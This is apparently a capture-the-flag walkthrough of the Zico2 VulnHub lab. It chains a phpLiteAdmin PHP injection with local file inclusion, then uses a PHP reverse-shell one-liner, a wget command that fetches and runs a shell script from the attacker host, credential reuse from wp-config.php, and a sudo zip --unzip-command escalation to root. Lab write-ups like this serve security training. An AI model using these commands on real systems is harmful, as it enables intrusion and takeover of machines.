Zico2 One – Writeup


This machine is https://www.vulnhub.com/entry/zico2-1,210/

Recon Phase

To start I run a host discovery scan to locate my target on the network

root@kali:~# nmap -sn
Nmap scan report for
Host is up (0.00034s latency).
MAC Address: 0A:00:27:00:00:00 (Unknown)
Nmap scan report for
Host is up (0.00025s latency).
MAC Address: 08:00:27:CE:3F:42 (Oracle VirtualBox virtual NIC)
Nmap scan report for
Host is up (0.00048s latency).
MAC Address: 08:00:27:98:69:CA (Oracle VirtualBox virtual NIC)
Nmap scan report for
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.00 seconds

From this I can tell that the target is running on so I run a service discovery scan on it

root@kali:~# nmap -sv
Nmap scan report for
Host is up (0.0037s latency).
Not shown: 997 closed ports
22/tcp  open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.2.22 ((Ubuntu))
111/tcp open  rpcbind 2-4 (RPC #100000)
MAC Address: 08:00:27:98:69:CA (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.30 seconds

Gaining Access

I started by navigating to the in browser

Screenshot 1

Screenshot 2

Screenshot 3

From here I set up dirbuster

Screenshot 4

I waited until it completed

Screenshot 5

Using the info gained here, I started by checking out

Screenshot 6

I decided to check this out on exploit-db and found https://www.exploit-db.com/exploits/24044/. In order to exploit this I needed to be logged in, so I tried the default password of “admin”

Screenshot 7

From the instructions on exploit db. I started by creating a new db called hack.php

Screenshot 8

I then made a table called “test”

Screenshot 9

And then added the php

Screenshot 10

With the exploit set up, I spent a while trying to trigger it, but was unable to do so. This caused me to start digging into other files found by dirbuster. Until I found


This felt like it may be exploitable for local file inclusion, potentially running the php included by the db. I tried multiple inclusions

Until I tried

Screenshot 11

I could now execute php code on the machine using this inclusion. Now I dropped the database used for the injection, and re-created it, this time using different php of

<?php $sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3"); ?>

Where is my kali machines ip. Then I use nc to open a listener

root@kali:~# nc -lnvp 1234

Before navigating back to to trigger the injection, after which I inspected my listener terminal

connect to [] from (UNKNOWN) [] 41710

It made connection, but closed it straight away. I decided to take an alternative approach. which started by making a copy of a php reverse shell script to serve via apache

root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php /var/www/html/php-reverse-shell.txt

I called it .txt in order to allow the source to be accessed instead of the code being executed. Next I edited php-reverse-shell.txt to contain my ip and selected port. Then I started apache

root@kali:~# service apache2 start

Next I dropped the table used for the injection, and made a new one with new php

<?php exec("wget -O /tmp/reverse.php; php /tmp/reverse.php"); ?>

This time I had used the php to execute a set of terminal commands to write the more advanced reverse shell script to temp, as this was likely a writeable folder, it then calls the script through php. I again, needed a listener

root@kali:~# nc -lnvp 1234

Again I navigated to in order to trigger the injection. Back on the terminal

connect to [] from (UNKNOWN) [] 41720
Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
 19:33:04 up  1:52,  0 users,  load average: 0.03, 0.04, 0.17
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

I now had a terminal, and this one remained open.

Root Time

I first wanted to make the terminal a little nicer to work with

$ python -c "import pty;pty.spawn('/bin/bash')"

Now with a nicer shell I take a look at the user list

www-data@zico:/$ cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false

Zico looks like a viable user account, it has a low uid, 1000 is generally the first user account, and as such is likely to have sudo access. So I checkout the home dir

www-data@zico:/$ ls -la /home/zico
drwxr-xr-x  6 zico zico    4096 Jun 19  2017 .
drwxr-xr-x  3 root root    4096 Jun  8  2017 ..
-rw-------  1 zico zico     912 Jun 19  2017 .bash_history
-rw-r--r--  1 zico zico     220 Jun  8  2017 .bash_logout
-rw-r--r--  1 zico zico    3486 Jun  8  2017 .bashrc
-rw-r--r--  1 zico zico     675 Jun  8  2017 .profile
drw-------  2 zico zico    4096 Jun  8  2017 .ssh
-rw-------  1 zico zico    3509 Jun 19  2017 .viminfo
-rw-rw-r--  1 zico zico  504646 Jun 14  2017 bootstrap.zip
drwxrwxr-x 18 zico zico    4096 Jun 19  2017 joomla
drwxrwxr-x  6 zico zico    4096 Aug 19  2016 startbootstrap-business-casual-gh-pages
-rw-rw-r--  1 zico zico      61 Jun 19  2017 to_do.txt
drwxr-xr-x  5 zico zico    4096 Jun 19  2017 wordpress
-rw-rw-r--  1 zico zico 8901913 Jun 19  2017 wordpress-4.8.zip
-rw-rw-r--  1 zico zico    1194 Jun  8  2017 zico-history.tar.gz

As I see some interesting I head over there and start digging

www-data@zico:/$ cd /home/zico
www-data@zico:/home/zico$ cat to_do.txt
try list:
- joomla
- bootstrap (+phpliteadmin)
- wordpress

Now I dug around in the directories for a while, not finding anything interesting until I reached the wordpress folder

www-data@zico:/home/zico$ cd wordpress
www-data@zico:/home/zico/wordpress$ ls -la
drwxr-xr-x  5 zico zico  4096 Jun 19  2017 .
drwxr-xr-x  6 zico zico  4096 Jun 19  2017 ..
-rw-r--r--  1 zico zico   418 Sep 25  2013 index.php
-rw-r--r--  1 zico zico 19935 Jan  2  2017 license.txt
-rw-r--r--  1 zico zico  7413 Dec 12  2016 readme.html
-rw-r--r--  1 zico zico  5447 Sep 27  2016 wp-activate.php
drwxr-xr-x  9 zico zico  4096 Jun  8  2017 wp-admin
-rw-r--r--  1 zico zico   364 Dec 19  2015 wp-blog-header.php
-rw-r--r--  1 zico zico  1627 Aug 29  2016 wp-comments-post.php
-rw-r--r--  1 zico zico  2831 Jun 19  2017 wp-config.php
drwxr-xr-x  4 zico zico  4096 Jun  8  2017 wp-content
-rw-r--r--  1 zico zico  3286 May 24  2015 wp-cron.php
drwxr-xr-x 18 zico zico 12288 Jun  8  2017 wp-includes
-rw-r--r--  1 zico zico  2422 Nov 21  2016 wp-links-opml.php
-rw-r--r--  1 zico zico  3301 Oct 25  2016 wp-load.php
-rw-r--r--  1 zico zico 34327 May 12  2017 wp-login.php
-rw-r--r--  1 zico zico  8048 Jan 11  2017 wp-mail.php
-rw-r--r--  1 zico zico 16200 Apr  6  2017 wp-settings.php
-rw-r--r--  1 zico zico 29924 Jan 24  2017 wp-signup.php
-rw-r--r--  1 zico zico  4513 Oct 14  2016 wp-trackback.php
-rw-r--r--  1 zico zico  3065 Aug 31  2016 xmlrpc.php

It was within wp-config.php file that I found the interesting bits

/** MySQL database username */
define('DB_USER', 'zico');
/** MySQL database password */
define('DB_PASSWORD', 'sWfCsfJSPV9H3AmQzw8');

The db user has the same name as the user I am trying to take over, this is indicates that they don’t have a dedicated user to run this db access, as such the password here could well be the password for the user account. So I try to elevate to zico using sWfCsfJSPV9H3AmQzw8 as the password

www-data@zico:/home/zico/wordpress$ su zico

I was now zico and wanted to see what I could do

zico@zico:~/wordpress$ sudo -l
Matching Defaults entries for zico on this host:
    env_reset, exempt_group=admin, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User zico may run the following commands on this host:
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /usr/bin/zip

Now I could use these 2 commands as root, so I tried unpacking the zico-history.tar.gz file

zico@zico:~$ sudo -u root tar xvzf zico-history.tar.gz

This ended up giving me a text file containing some history taken from wiki. It didn’t seem helpful except maybe to build a password list from, although I never ended up doing that. Instead I investigated both commands I could use as root, looking for any potential exploits. I eventually came up with an idea. The zip command has a -T option, which when coupled with –unzip-command would execute a command, which if I triggered it to root would run as root.

zico@zico:~$ sudo -u root zip todo.zip to_do.txt -T --unzip-command="sh -c /bin/bash"
adding: to_do.txt (deflated 2%)

It had worked, I was now root and all that was left was to grab the flag

root@zico:~# ls -la
drwx------  4 root root 4096 Jun 19  2017 ./
drwxr-xr-x 24 root root 4096 Jun  1  2017 ../
-rw-------  1 root root 5723 Jun 19  2017 .bash_history
-rw-r--r--  1 root root 3106 Apr 19  2012 .bashrc
drwx------  2 root root 4096 Jun  1  2017 .cache/
-rw-r--r--  1 root root   75 Jun 19  2017 flag.txt
-rw-r--r--  1 root root  140 Apr 19  2012 .profile
drwxr-xr-x  2 root root 4096 Jun  8  2017 .vim/
-rw-------  1 root root 5963 Jun 19  2017 .viminfo
root@zico:~# cat flag.txt
# You did it! Congratz!
# Hope you enjoyed!

The machine was completed, with quite a neat trick to get root!

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